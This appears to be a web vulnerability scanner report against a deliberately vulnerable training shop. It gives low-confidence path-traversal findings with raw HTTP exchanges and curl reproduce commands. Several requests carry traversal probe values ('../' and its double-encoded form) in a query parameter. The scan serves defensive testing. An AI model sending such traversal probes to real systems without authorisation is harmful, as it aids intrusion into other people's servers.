<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/../1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/%2e%2e/1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · content unconfirmed · low confidence BV-016 info

location: GET https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1
input: content in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

content reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

content looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/../1&title=1'

GET /catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/../1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:17 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:17 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/../1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:17 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/%2e%2e/1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:17 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:17 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:18 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/sekumart.sekuripy.hr/login.php query string · content unconfirmed · low confidence BV-017 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1
input: content in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

content reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

content looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/../1&title=1'

GET /sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=sksaigt12/../1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1…

request

GET /sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
